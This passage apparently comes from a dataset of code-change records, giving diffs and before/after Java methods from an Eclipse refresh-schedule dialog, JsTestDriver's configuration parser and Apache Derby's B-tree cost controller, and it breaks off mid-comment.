| GridData.GRAB_VERTICAL | GridData.VERTICAL_ALIGN_BEGINNING); gridData.horizontalSpan = 2; composite.setLayoutData(gridData); final GridLayout gridLayout_1 = new GridLayout(); gridLayout_1.numColumns = 3; composite.setLayout(gridLayout_1); { final Label label = new Label(composite, SWT.NONE); label.setText(Policy.bind("ConfigureRefreshScheduleDialog.4")); //$NON-NLS-1$ } { time = new Text(composite, SWT.BORDER | SWT.RIGHT); final GridData gridData_1 = new GridData(); gridData_1.widthHint = 35; time.setLayoutData(gridData_1); time.addModifyListener(new ModifyListener() { public void modifyText(ModifyEvent e) { updateEnablements(); } }); } { hoursOrSeconds = new Combo(composite, SWT.READ_ONLY); hoursOrSeconds.setItems(new String[] { Policy.bind("ConfigureRefreshScheduleDialog.5"), Policy.bind("ConfigureRefreshScheduleDialog.6") }); //$NON-NLS-1$ //$NON-NLS-2$ - final GridData gridData_1 = new GridData(); - gridData_1.widthHint = 75; - hoursOrSeconds.setLayoutData(gridData_1); + hoursOrSeconds.setLayoutData(new GridData()); } } initializeValues(); } /* (non-Javadoc) * @see org.eclipse.jface.dialogs.Dialog#okPressed() */ public void saveValues() { int hours = hoursOrSeconds.getSelectionIndex(); long seconds = Long.parseLong(time.getText()); if(hours == 0) { seconds = seconds * 3600; } else { seconds = seconds * 60; } schedule.setRefreshInterval(seconds); if(schedule.isEnabled() != enableBackgroundRefresh.getSelection()) { schedule.setEnabled(enableBackgroundRefresh.getSelection(), true /* allow to start */); } // update schedule SubscriberParticipant participant = schedule.getParticipant(); if (!participant.isPinned() && schedule.isEnabled()) { participant.setPinned(MessageDialog.openQuestion(getShell(), Policy.bind("ConfigureSynchronizeScheduleComposite.0", Utils.getTypeName(participant)), //$NON-NLS-1$ Policy.bind("ConfigureSynchronizeScheduleComposite.1", Utils.getTypeName(participant)))); //$NON-NLS-1$ } participant.setRefreshSchedule(schedule); } /* (non-Javadoc) * @see org.eclipse.team.internal.ui.dialogs.DetailsDialog#updateEnablements() */ public void updateEnablements() { try { long number = Long.parseLong(time.getText()); if(number <= 0) { validator.setComplete(Policy.bind("ConfigureRefreshScheduleDialog.7")); //$NON-NLS-1$ } else { validator.setComplete(null); } } catch (NumberFormatException e) { validator.setComplete(Policy.bind("ConfigureRefreshScheduleDialog.8")); //$NON-NLS-1$ } time.setEnabled(enableBackgroundRefresh.getSelection()); hoursOrSeconds.setEnabled(enableBackgroundRefresh.getSelection()); } protected void setErrorMessage(String error) { this.errorMessage = error; } public String getErrorMessage() { return errorMessage; } private Label createWrappingLabel(Composite parent, String text, int indent, int horizontalSpan) { Label label = new Label(parent, SWT.LEFT | SWT.WRAP); label.setText(text); GridData data = new GridData(); data.horizontalSpan = horizontalSpan; data.horizontalAlignment = GridData.FILL; data.horizontalIndent = indent; data.grabExcessHorizontalSpace = true; data.widthHint = 400; label.setLayoutData(data); return label; } }
true
true
protected void createMainDialogArea(Composite parent) { final GridLayout gridLayout = new GridLayout(); gridLayout.numColumns = 2; setLayout(gridLayout); setLayoutData(new GridData()); Composite area = this; createWrappingLabel(area, Policy.bind("ConfigureRefreshScheduleDialog.1", schedule.getParticipant().getName()), 0, 2); //$NON-NLS-1$ { final Label label = new Label(area, SWT.WRAP); final GridData gridData = new GridData(GridData.FILL_HORIZONTAL); gridData.horizontalSpan = 2; label.setLayoutData(gridData); label.setText(Policy.bind("ConfigureRefreshScheduleDialog.1a", SubscriberRefreshSchedule.refreshEventAsString(schedule.getLastRefreshEvent()))); //$NON-NLS-1$ } { userRefreshOnly = new Button(area, SWT.RADIO); final GridData gridData = new GridData(); gridData.horizontalSpan = 2; userRefreshOnly.setLayoutData(gridData); userRefreshOnly.setText(Policy.bind("ConfigureRefreshScheduleDialog.2")); //$NON-NLS-1$ userRefreshOnly.addSelectionListener(new SelectionListener() { public void widgetSelected(SelectionEvent e) { updateEnablements(); } public void widgetDefaultSelected(SelectionEvent e) { } }); } { enableBackgroundRefresh = new Button(area, SWT.RADIO); final GridData gridData = new GridData(); gridData.horizontalSpan = 2; enableBackgroundRefresh.setLayoutData(gridData); enableBackgroundRefresh.setText(Policy.bind("ConfigureRefreshScheduleDialog.3")); //$NON-NLS-1$ enableBackgroundRefresh.addSelectionListener(new SelectionListener() { public void widgetSelected(SelectionEvent e) { updateEnablements(); } public void widgetDefaultSelected(SelectionEvent e) { } }); } { final Composite composite = new Composite(area, SWT.NONE); final GridData gridData = new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.VERTICAL_ALIGN_BEGINNING); gridData.horizontalSpan = 2; composite.setLayoutData(gridData); final GridLayout gridLayout_1 = new GridLayout(); gridLayout_1.numColumns = 3; composite.setLayout(gridLayout_1); { final Label label = new Label(composite, SWT.NONE); label.setText(Policy.bind("ConfigureRefreshScheduleDialog.4")); //$NON-NLS-1$ } { time = new Text(composite, SWT.BORDER | SWT.RIGHT); final GridData gridData_1 = new GridData(); gridData_1.widthHint = 35; time.setLayoutData(gridData_1); time.addModifyListener(new ModifyListener() { public void modifyText(ModifyEvent e) { updateEnablements(); } }); } { hoursOrSeconds = new Combo(composite, SWT.READ_ONLY); hoursOrSeconds.setItems(new String[] { Policy.bind("ConfigureRefreshScheduleDialog.5"), Policy.bind("ConfigureRefreshScheduleDialog.6") }); //$NON-NLS-1$ //$NON-NLS-2$ final GridData gridData_1 = new GridData(); gridData_1.widthHint = 75; hoursOrSeconds.setLayoutData(gridData_1); } } initializeValues(); }
protected void createMainDialogArea(Composite parent) { final GridLayout gridLayout = new GridLayout(); gridLayout.numColumns = 2; setLayout(gridLayout); setLayoutData(new GridData()); Composite area = this; createWrappingLabel(area, Policy.bind("ConfigureRefreshScheduleDialog.1", schedule.getParticipant().getName()), 0, 2); //$NON-NLS-1$ { final Label label = new Label(area, SWT.WRAP); final GridData gridData = new GridData(GridData.FILL_HORIZONTAL); gridData.horizontalSpan = 2; label.setLayoutData(gridData); label.setText(Policy.bind("ConfigureRefreshScheduleDialog.1a", SubscriberRefreshSchedule.refreshEventAsString(schedule.getLastRefreshEvent()))); //$NON-NLS-1$ } { userRefreshOnly = new Button(area, SWT.RADIO); final GridData gridData = new GridData(); gridData.horizontalSpan = 2; userRefreshOnly.setLayoutData(gridData); userRefreshOnly.setText(Policy.bind("ConfigureRefreshScheduleDialog.2")); //$NON-NLS-1$ userRefreshOnly.addSelectionListener(new SelectionListener() { public void widgetSelected(SelectionEvent e) { updateEnablements(); } public void widgetDefaultSelected(SelectionEvent e) { } }); } { enableBackgroundRefresh = new Button(area, SWT.RADIO); final GridData gridData = new GridData(); gridData.horizontalSpan = 2; enableBackgroundRefresh.setLayoutData(gridData); enableBackgroundRefresh.setText(Policy.bind("ConfigureRefreshScheduleDialog.3")); //$NON-NLS-1$ enableBackgroundRefresh.addSelectionListener(new SelectionListener() { public void widgetSelected(SelectionEvent e) { updateEnablements(); } public void widgetDefaultSelected(SelectionEvent e) { } }); } { final Composite composite = new Composite(area, SWT.NONE); final GridData gridData = new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.VERTICAL_ALIGN_BEGINNING); gridData.horizontalSpan = 2; composite.setLayoutData(gridData); final GridLayout gridLayout_1 = new GridLayout(); gridLayout_1.numColumns = 3; composite.setLayout(gridLayout_1); { final Label label = new Label(composite, SWT.NONE); label.setText(Policy.bind("ConfigureRefreshScheduleDialog.4")); //$NON-NLS-1$ } { time = new Text(composite, SWT.BORDER | SWT.RIGHT); final GridData gridData_1 = new GridData(); gridData_1.widthHint = 35; time.setLayoutData(gridData_1); time.addModifyListener(new ModifyListener() { public void modifyText(ModifyEvent e) { updateEnablements(); } }); } { hoursOrSeconds = new Combo(composite, SWT.READ_ONLY); hoursOrSeconds.setItems(new String[] { Policy.bind("ConfigureRefreshScheduleDialog.5"), Policy.bind("ConfigureRefreshScheduleDialog.6") }); //$NON-NLS-1$ //$NON-NLS-2$ hoursOrSeconds.setLayoutData(new GridData()); } } initializeValues(); }
diff --git a/JsTestDriver/src/com/google/jstestdriver/ConfigurationParser.java b/JsTestDriver/src/com/google/jstestdriver/ConfigurationParser.java index 7eabea23..0ac03cec 100644 --- a/JsTestDriver/src/com/google/jstestdriver/ConfigurationParser.java +++ b/JsTestDriver/src/com/google/jstestdriver/ConfigurationParser.java @@ -1,178 +1,178 @@ /* * Copyright 2009 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ package com.google.jstestdriver; import com.google.common.collect.Lists; import org.apache.oro.io.GlobFilenameFilter; import org.apache.oro.text.GlobCompiler; import org.jvyaml.YAML; import java.io.File; import java.io.Reader; import java.util.Arrays; import java.util.Collections; import java.util.LinkedHashSet; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.Set; /** * TODO: needs to give more feedback when something goes wrong... * * @author [email protected] (Jeremie Lenfant-Engelmann) */ public class ConfigurationParser { private static final List<String> EMPTY_LIST = Lists.newArrayList(); private final Set<FileInfo> filesList = new LinkedHashSet<FileInfo>(); private final File basePath; private final Reader configReader; private final PathRewriter pathRewriter; private String server = ""; private List<Plugin> plugins = new LinkedList<Plugin>(); private PathResolver pathResolver = new PathResolver(); public ConfigurationParser(File basePath, Reader configReader, PathRewriter pathRewriter) { this.basePath = basePath; this.configReader = configReader; this.pathRewriter = pathRewriter; } @SuppressWarnings("unchecked") public void parse() { Map<Object, Object> data = (Map<Object, Object>) YAML.load(configReader); Set<FileInfo> resolvedFilesLoad = new LinkedHashSet<FileInfo>(); Set<FileInfo> resolvedFilesExclude = new LinkedHashSet<FileInfo>(); if (data.containsKey("load")) { resolvedFilesLoad.addAll(resolveFiles((List<String>) data.get("load"), false)); } if (data.containsKey("exclude")) { resolvedFilesExclude.addAll(resolveFiles((List<String>) data.get("exclude"), false)); } if (data.containsKey("server")) { this.server = (String) data.get("server"); } if (data.containsKey("plugin")) { for (Map<String, String> value: (List<Map<String, String>>) data.get("plugin")) { plugins.add(new Plugin(value.get("name"), value.get("jar"), value.get("module"), createArgsList(value.get("args")))); } } if (data.containsKey("serve")) { Set<FileInfo> resolvedServeFiles = resolveFiles((List<String>) data.get("serve"), true); resolvedFilesLoad.addAll(resolvedServeFiles); } filesList.addAll(consolidatePatches(resolvedFilesLoad)); filesList.removeAll(resolvedFilesExclude); } private List<String> createArgsList(String args) { if (args == null) { return EMPTY_LIST; } List<String> argsList = Lists.newLinkedList(); String[] splittedArgs = args.split(","); for (String arg : splittedArgs) { argsList.add(arg.trim()); } return argsList; } private Set<FileInfo> consolidatePatches(Set<FileInfo> resolvedFilesLoad) { Set<FileInfo> consolidated = new LinkedHashSet<FileInfo>(resolvedFilesLoad.size()); FileInfo currentNonPatch = null; for (FileInfo fileInfo : resolvedFilesLoad) { if (fileInfo.isPatch()) { if (currentNonPatch == null) { throw new IllegalStateException("Patch " + fileInfo + " without a core file to patch"); } currentNonPatch.addPatch(fileInfo); } else { consolidated.add(fileInfo); currentNonPatch = fileInfo; } } return consolidated; } private Set<FileInfo> resolveFiles(List<String> files, boolean serveOnly) { if (files != null) { Set<FileInfo> resolvedFiles = new LinkedHashSet<FileInfo>(); for (String f : files) { f = pathRewriter.rewrite(f); boolean isPatch = f.startsWith("patch"); if (isPatch) { String[] tokens = f.split(" ", 2); f = tokens[1].trim(); } if (f.startsWith("http://") || f.startsWith("https://")) { resolvedFiles.add(new FileInfo(f, -1, false, false, null)); } else { - File file = basePath != null ? new File(basePath, f) : new File(f); + File file = basePath != null ? new File(basePath.getAbsoluteFile(), f) : new File(f); File testFile = file.getAbsoluteFile(); File dir = testFile.getParentFile().getAbsoluteFile(); final String pattern = file.getName(); String[] filteredFiles = dir.list(new GlobFilenameFilter(pattern, GlobCompiler.DEFAULT_MASK | GlobCompiler.CASE_INSENSITIVE_MASK)); if (filteredFiles == null || filteredFiles.length == 0) { String error = "The patterns/paths " + f + " used in the configuration" + " file didn't match any file, the files patterns/paths need to be relative to" + " the configuration file."; System.err.println(error); throw new RuntimeException(error); } Arrays.sort(filteredFiles, String.CASE_INSENSITIVE_ORDER); for (String filteredFile : filteredFiles) { String resolvedFilePath = pathResolver.resolvePath(dir.getAbsolutePath().replaceAll("\\\\", "/") + "/" + filteredFile.replaceAll("\\\\", "/")); File resolvedFile = new File(resolvedFilePath); resolvedFiles.add(new FileInfo(resolvedFilePath, resolvedFile.lastModified(), isPatch, serveOnly, null)); } } } return resolvedFiles; } return Collections.emptySet(); } public Set<FileInfo> getFilesList() { return filesList; } public String getServer() { return server; } public List<Plugin> getPlugins() { return plugins; } }
true
true
private Set<FileInfo> resolveFiles(List<String> files, boolean serveOnly) { if (files != null) { Set<FileInfo> resolvedFiles = new LinkedHashSet<FileInfo>(); for (String f : files) { f = pathRewriter.rewrite(f); boolean isPatch = f.startsWith("patch"); if (isPatch) { String[] tokens = f.split(" ", 2); f = tokens[1].trim(); } if (f.startsWith("http://") || f.startsWith("https://")) { resolvedFiles.add(new FileInfo(f, -1, false, false, null)); } else { File file = basePath != null ? new File(basePath, f) : new File(f); File testFile = file.getAbsoluteFile(); File dir = testFile.getParentFile().getAbsoluteFile(); final String pattern = file.getName(); String[] filteredFiles = dir.list(new GlobFilenameFilter(pattern, GlobCompiler.DEFAULT_MASK | GlobCompiler.CASE_INSENSITIVE_MASK)); if (filteredFiles == null || filteredFiles.length == 0) { String error = "The patterns/paths " + f + " used in the configuration" + " file didn't match any file, the files patterns/paths need to be relative to" + " the configuration file."; System.err.println(error); throw new RuntimeException(error); } Arrays.sort(filteredFiles, String.CASE_INSENSITIVE_ORDER); for (String filteredFile : filteredFiles) { String resolvedFilePath = pathResolver.resolvePath(dir.getAbsolutePath().replaceAll("\\\\", "/") + "/" + filteredFile.replaceAll("\\\\", "/")); File resolvedFile = new File(resolvedFilePath); resolvedFiles.add(new FileInfo(resolvedFilePath, resolvedFile.lastModified(), isPatch, serveOnly, null)); } } } return resolvedFiles; } return Collections.emptySet(); }
private Set<FileInfo> resolveFiles(List<String> files, boolean serveOnly) { if (files != null) { Set<FileInfo> resolvedFiles = new LinkedHashSet<FileInfo>(); for (String f : files) { f = pathRewriter.rewrite(f); boolean isPatch = f.startsWith("patch"); if (isPatch) { String[] tokens = f.split(" ", 2); f = tokens[1].trim(); } if (f.startsWith("http://") || f.startsWith("https://")) { resolvedFiles.add(new FileInfo(f, -1, false, false, null)); } else { File file = basePath != null ? new File(basePath.getAbsoluteFile(), f) : new File(f); File testFile = file.getAbsoluteFile(); File dir = testFile.getParentFile().getAbsoluteFile(); final String pattern = file.getName(); String[] filteredFiles = dir.list(new GlobFilenameFilter(pattern, GlobCompiler.DEFAULT_MASK | GlobCompiler.CASE_INSENSITIVE_MASK)); if (filteredFiles == null || filteredFiles.length == 0) { String error = "The patterns/paths " + f + " used in the configuration" + " file didn't match any file, the files patterns/paths need to be relative to" + " the configuration file."; System.err.println(error); throw new RuntimeException(error); } Arrays.sort(filteredFiles, String.CASE_INSENSITIVE_ORDER); for (String filteredFile : filteredFiles) { String resolvedFilePath = pathResolver.resolvePath(dir.getAbsolutePath().replaceAll("\\\\", "/") + "/" + filteredFile.replaceAll("\\\\", "/")); File resolvedFile = new File(resolvedFilePath); resolvedFiles.add(new FileInfo(resolvedFilePath, resolvedFile.lastModified(), isPatch, serveOnly, null)); } } } return resolvedFiles; } return Collections.emptySet(); }
diff --git a/java/engine/org/apache/derby/impl/store/access/btree/BTreeCostController.java b/java/engine/org/apache/derby/impl/store/access/btree/BTreeCostController.java index 2771d84db..8bc27ab7e 100644 --- a/java/engine/org/apache/derby/impl/store/access/btree/BTreeCostController.java +++ b/java/engine/org/apache/derby/impl/store/access/btree/BTreeCostController.java @@ -1,678 +1,681 @@ /* Derby - Class org.apache.derby.impl.store.access.btree.BTreeCostController Copyright 1998, 2004 The Apache Software Foundation or its licensors, as applicable. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package org.apache.derby.impl.store.access.btree; import org.apache.derby.iapi.reference.Property; import org.apache.derby.iapi.reference.SQLState; import org.apache.derby.iapi.services.sanity.SanityManager; import org.apache.derby.iapi.error.StandardException; import org.apache.derby.iapi.store.access.conglomerate.Conglomerate; import org.apache.derby.iapi.store.access.conglomerate.LogicalUndo; import org.apache.derby.iapi.store.access.conglomerate.TransactionManager; import org.apache.derby.iapi.store.access.DynamicCompiledOpenConglomInfo; import org.apache.derby.iapi.store.access.RowUtil; import org.apache.derby.iapi.store.access.ScanController; import org.apache.derby.iapi.store.access.StoreCostController; import org.apache.derby.iapi.store.access.StoreCostResult; import org.apache.derby.iapi.store.access.TransactionController; import org.apache.derby.iapi.store.raw.ContainerHandle; import org.apache.derby.iapi.store.raw.LockingPolicy; import org.apache.derby.iapi.store.raw.RawStoreFactory; import org.apache.derby.iapi.store.raw.Transaction; import org.apache.derby.iapi.types.DataValueDescriptor; import org.apache.derby.iapi.types.RowLocation; import org.apache.derby.iapi.services.io.FormatableBitSet; import java.util.Properties; /** The StoreCostController interface provides methods that an access client (most likely the system optimizer) can use to get store's estimated cost of various operations on the conglomerate the StoreCostController was opened for. <p> It is likely that the implementation of StoreCostController will open the conglomerate and will leave the conglomerate open until the StoreCostController is closed. This represents a significant amount of work, so the caller if possible should attempt to open the StoreCostController once per unit of work and rather than close and reopen the controller. For instance if the optimizer needs to cost 2 different scans against a single conglomerate, it should use one instance of the StoreCostController. <p> The locking behavior of the implementation of a StoreCostController is undefined, it may or may not get locks on the underlying conglomerate. It may or may not hold locks until end of transaction. An optimal implementation will not get any locks on the underlying conglomerate, thus allowing concurrent access to the table by a executing query while another query is optimizing. <p> @see TransactionController#openStoreCost **/ public class BTreeCostController extends OpenBTree implements StoreCostController { // 1.5 numbers on mikem old machine: // // The magic numbers are based on the following benchmark results: // // no col one int col all cols // ------ ----------- -------- //100 byte heap fetch by row loc, cached 0.3625 0.5098 0.6629 //100 byte heap fetch by row loc, uncached 1.3605769 1.5168269 1.5769231 //4 byte heap fetch by row loc, cached 0.3745 0.4016 0.3766 //4 byte heap fetch by row loc, uncached 4.1938777 3.5714285 4.4897957 // // no col one int col all cols // ------ ----------- -------- //Int col one level btree // fetch by exact key, cached 0.781 1.012 0.42 // fetch by exact key, sort merge 1.081 1.221 0.851 // fetch by exact key, uncached 0.0 0.0 0.0 //Int col two level btree // fetch by exact key, cached 1.062 1.342 0.871 // fetch by exact key, sort merge 1.893 2.273 1.633 // fetch by exact key, uncached 5.7238097 5.3428574 4.7714286 //String key one level btree // fetch by exact key, cached 1.082 0.811 0.781 // fetch by exact key, sort merge 1.572 1.683 1.141 // fetch by exact key, uncached 0.0 0.0 0.0 //String key two level btree // fetch by exact key, cached 2.143 2.664 1.953 // fetch by exact key, sort merge 3.775 4.116 3.505 // fetch by exact key, uncached 4.639474 5.0052633 4.4289474 // mikem new machine - insane, codeline, non-jit 1.1.7 numbers // // no col one int col all cols // ------ ----------- -------- //100 byte heap fetch by row loc, cached 0.1662 0.4597 0.5618 //100 byte heap fetch by row loc, uncached 0.7565947 1.2601918 1.6690648 //4 byte heap fetch by row loc, cached 0.1702 0.1983 0.1903 //4 byte heap fetch by row loc, uncached 1.5068493 1.3013699 1.6438357 // // no col one int col all cols // ------ ----------- -------- // Int col one level btree // fetch by exact key, cached 0.271 0.511 0.33 // fetch by exact key, sort merge 0.691 0.921 0.771 // fetch by exact key, uncached 0.0 0.0 0.0 // Int col two level btree // fetch by exact key, cached 0.541 0.711 0.561 // fetch by exact key, sort merge 1.432 1.682 1.533 // fetch by exact key, uncached 3.142857 3.6285715 3.2380953 // String key one level btree // fetch by exact key, cached 0.611 0.851 0.701 // fetch by exact key, sort merge 1.051 1.272 1.122 // fetch by exact key, uncached 0.0 0.0 0.0 // String key two level btree // fetch by exact key, cached 1.532 1.843 1.622 // fetch by exact key, sort merge 2.844 3.155 2.984 // fetch by exact key, uncached 3.4 3.636842 3.531579 // // The following costs are search costs to find a row on a leaf, use // the heap costs to determine scan costs, for now ignore qualifier // application and stop comparisons. // I used the int key, 2 level numbers divided by 2 to get per level. private static final double BTREE_CACHED_FETCH_BY_KEY_PER_LEVEL = (0.541 / 2); private static final double BTREE_SORTMERGE_FETCH_BY_KEY_PER_LEVEL = (1.432 / 2); private static final double BTREE_UNCACHED_FETCH_BY_KEY_PER_LEVEL = (3.143 / 2); // saved values passed to init(). TransactionManager init_xact_manager; Transaction init_rawtran; Conglomerate init_conglomerate; /** * Only lookup these estimates from raw store once. **/ long num_pages; long num_rows; long page_size; int tree_height; /* Constructors for This class: */ public BTreeCostController() { } /* Private/Protected methods of This class: */ /** * Initialize the cost controller. * <p> * Save initialize parameters away, and open the underlying container. * <p> * * @return The identifier to be used to open the conglomerate later. * * @param xact_manager access manager transaction. * @param rawtran Raw store transaction. * * @exception StandardException Standard exception policy. **/ public void init( TransactionManager xact_manager, BTree conglomerate, Transaction rawtran) throws StandardException { super.init( xact_manager, xact_manager, (ContainerHandle) null, // open the btree. rawtran, false, ContainerHandle.MODE_READONLY, TransactionManager.MODE_NONE, (BTreeLockingPolicy) null, // RESOLVE (mikem) - this means // no locks during costing - will // that work????? conglomerate, (LogicalUndo) null, // read only, so no undo necessary (DynamicCompiledOpenConglomInfo) null); // look up costs from raw store. For btrees these numbers are out // of whack as they want to be leaf specific numbers but they include // every page branch and leafs. num_pages = this.container.getEstimatedPageCount(/* unused flag */ 0); // subtract one row for every page to account for internal control row // which exists on every page. num_rows = this.container.getEstimatedRowCount(/*unused flag*/ 0) - num_pages; Properties prop = new Properties(); prop.put(Property.PAGE_SIZE_PARAMETER, ""); this.container.getContainerProperties(prop); page_size = Integer.parseInt(prop.getProperty(Property.PAGE_SIZE_PARAMETER)); tree_height = getHeight(); return; } /* Public Methods of This class: */ /** * Close the controller. * <p> * Close the open controller. This method always succeeds, and never * throws any exceptions. Callers must not use the StoreCostController * Cost controller after closing it; they are strongly advised to clear * out the scan controller reference after closing. * <p> **/ public void close() throws StandardException { super.close(); } /** * Return the cost of calling ConglomerateController.fetch(). * <p> * Return the estimated cost of calling ConglomerateController.fetch() * on the current conglomerate. This gives the cost of finding a record * in the conglomerate given the exact RowLocation of the record in * question. * <p> * The validColumns parameter describes what kind of row * is being fetched, ie. it may be cheaper to fetch a partial row than a * complete row. * <p> * * * @param validColumns A description of which columns to return from * row on the page into "templateRow." templateRow, * and validColumns work together to * describe the row to be returned by the fetch - * see RowUtil for description of how these three * parameters work together to describe a fetched * "row". * * @param access_type Describe the type of access the query will be * performing to the ConglomerateController. * * STORECOST_CLUSTERED - The location of one fetch * is likely clustered "close" to the next * fetch. For instance if the query plan were * to sort the RowLocations of a heap and then * use those RowLocations sequentially to * probe into the heap, then this flag should * be specified. If this flag is not set then * access to the table is assumed to be * random - ie. the type of access one gets * if you scan an index and probe each row * in turn into the base table is "random". * * * @return The cost of the fetch. * * @exception StandardException Standard exception policy. * * @see RowUtil **/ public double getFetchFromRowLocationCost( FormatableBitSet validColumns, int access_type) throws StandardException { throw StandardException.newException( SQLState.BTREE_UNIMPLEMENTED_FEATURE); } /** * Return the cost of exact key lookup. * <p> * Return the estimated cost of calling ScanController.fetch() * on the current conglomerate, with start and stop positions set such * that an exact match is expected. * <p> * This call returns the cost of a fetchNext() performed on a scan which * has been positioned with a start position which specifies exact match * on all keys in the row. * <p> * Example: * <p> * In the case of a btree this call can be used to determine the cost of * doing an exact probe into btree, giving all key columns. This cost * can be used if the client knows it will be doing an exact key probe * but does not have the key's at optimize time to use to make a call to * getScanCost() * <p> * * * @param validColumns A description of which columns to return from * row on the page into "templateRow." templateRow, * and validColumns work together to * describe the row to be returned by the fetch - * see RowUtil for description of how these three * parameters work together to describe a fetched * "row". * * @param access_type Describe the type of access the query will be * performing to the ScanController. * * STORECOST_CLUSTERED - The location of one scan * is likely clustered "close" to the previous * scan. For instance if the query plan were * to used repeated "reopenScan()'s" to probe * for the next key in an index, then this flag * should be be specified. If this flag is not * set then each scan will be costed independant * of any other predicted scan access. * * @return The cost of the fetch. * * @exception StandardException Standard exception policy. * * @see RowUtil **/ public double getFetchFromFullKeyCost( FormatableBitSet validColumns, int access_type) throws StandardException { double ret_cost; if ((access_type & StoreCostController.STORECOST_CLUSTERED) == 0) { // uncached fetch ret_cost = BTREE_UNCACHED_FETCH_BY_KEY_PER_LEVEL; } else { ret_cost = BTREE_SORTMERGE_FETCH_BY_KEY_PER_LEVEL; } ret_cost *= tree_height; return(ret_cost); } /** * Calculate the cost of a scan. * <p> * Cause this object to calculate the cost of performing the described * scan. The interface is setup such that first a call is made to * calcualteScanCost(), and then subsequent calls to accessor routines * are made to get various pieces of information about the cost of * the scan. * <p> * For the purposes of costing this routine is going to assume that * a page will remain in cache between the time one next()/fetchNext() * call and a subsequent next()/fetchNext() call is made within a scan. * <p> * The result of costing the scan is placed in the "cost_result". * The cost of the scan is stored by calling * cost_result.setEstimatedCost(cost). * The estimated row count is stored by calling * cost_result.setEstimatedRowCount(row_count). * <p> * The estimated cost of the scan assumes the caller will * execute a fetchNext() loop for every row that qualifies between * start and stop position. Note that this cost is different than * execution a next(),fetch() loop; or if the scan is going to be * terminated by client prior to reaching the stop condition. * <p> * The estimated number of rows returned from the scan * assumes the caller will execute a fetchNext() loop for every * row that qualifies between start and stop position. * <p> * * * @param scan_type The type of scan that will be executed. There * are currently 2 types: * STORECOST_SCAN_NORMAL - scans will be executed * using the standard next/fetch, where each fetch * can retrieve 1 or many rows (if fetchNextGroup() * interface is used). * * STORECOST_SCAN_SET - The entire result set will * be retrieved using the the fetchSet() interface. * * @param row_count Estimated total row count of the table. The * current system tracks row counts in heaps better * than btree's (btree's have "rows" which are not * user rows - branch rows, control rows), so * if available the client should * pass in the base table's row count into this * routine to be used as the index's row count. * If the caller has no idea, pass in -1. * * @param group_size The number of rows to be returned by a single * fetch call for STORECOST_SCAN_NORMAL scans. * * @param forUpdate Should be true if the caller intends to update * through the scan. * * @param scanColumnList A description of which columns to return from * every fetch in the scan. template, * and scanColumnList work together * to describe the row to be returned by the scan - * see RowUtil for description of how these three * parameters work together to describe a "row". * * @param template A prototypical row which the scan may use to * maintain its position in the conglomerate. Not * all access method scan types will require this, * if they don't it's ok to pass in null. * In order to scan a conglomerate one must * allocate 2 separate "row" templates. The "row" * template passed into openScan is for the private * use of the scan itself, and no access to it * should be made by the caller while the scan is * still open. Because of this the scanner must * allocate another "row" template to hold the * values returned from fetch(). Note that this * template must be for the full row, whether a * partial row scan is being executed or not. * * @param startKeyValue An indexable row which holds a (partial) key * value which, in combination with the * startSearchOperator, defines the starting * position of the scan. If null, the starting * position of the scan is the first row of the * conglomerate. The startKeyValue must only * reference columns included in the scanColumnList. * * @param startSearchOperator * an operator which defines how the startKeyValue * is to be searched for. If startSearchOperation * is ScanController.GE, the scan starts on the * first row which is greater than or equal to the * startKeyValue. If startSearchOperation is * ScanController.GT, the scan starts on the first * row whose key is greater than startKeyValue. The * startSearchOperation parameter is ignored if the * startKeyValue parameter is null. * * @param stopKeyValue An indexable row which holds a (partial) key * value which, in combination with the * stopSearchOperator, defines the ending position * of the scan. If null, the ending position of the * scan is the last row of the conglomerate. The * stopKeyValue must only reference columns included * in the scanColumnList. * * @param stopSearchOperator * an operator which defines how the stopKeyValue * is used to determine the scan stopping position. * If stopSearchOperation is ScanController.GE, the * scan stops just before the first row which is * greater than or equal to the stopKeyValue. If * stopSearchOperation is ScanController.GT, the * scan stops just before the first row whose key * is greater than startKeyValue. The * stopSearchOperation parameter is ignored if the * stopKeyValue parameter is null. * * * @param access_type Describe the type of access the query will be * performing to the ScanController. * * STORECOST_CLUSTERED - The location of one scan * is likely clustered "close" to the previous * scan. For instance if the query plan were * to used repeated "reopenScan()'s" to probe * for the next key in an index, then this flag * should be be specified. If this flag is not * set then each scan will be costed independant * of any other predicted scan access. * * * @exception StandardException Standard exception policy. * * @see RowUtil **/ public void getScanCost( int scan_type, long row_count, int group_size, boolean forUpdate, FormatableBitSet scanColumnList, DataValueDescriptor[] template, DataValueDescriptor[] startKeyValue, int startSearchOperator, DataValueDescriptor[] stopKeyValue, int stopSearchOperator, boolean reopen_scan, int access_type, StoreCostResult cost_result) throws StandardException { float left_of_start; float left_of_stop; ControlRow control_row = null; long input_row_count = (row_count < 0 ? num_rows : row_count); try { // Find the starting page and row slot. if (startKeyValue == null) { left_of_start = 0; } else { // Search for the starting row. SearchParameters sp = new SearchParameters( startKeyValue, ((startSearchOperator == ScanController.GE) ? SearchParameters.POSITION_LEFT_OF_PARTIAL_KEY_MATCH : SearchParameters.POSITION_RIGHT_OF_PARTIAL_KEY_MATCH), template, this, true); control_row = ControlRow.Get(this, BTree.ROOTPAGEID).search(sp); control_row.release(); control_row = null; left_of_start = sp.left_fraction; } if (stopKeyValue == null) { left_of_stop = 1; } else { // Search for the stopping row. SearchParameters sp = new SearchParameters( stopKeyValue, ((stopSearchOperator == ScanController.GE) ? SearchParameters.POSITION_LEFT_OF_PARTIAL_KEY_MATCH : SearchParameters.POSITION_RIGHT_OF_PARTIAL_KEY_MATCH), template, this, true); control_row = ControlRow.Get(this, BTree.ROOTPAGEID).search(sp); control_row.release(); control_row = null; left_of_stop = sp.left_fraction; } // System.out.println( // 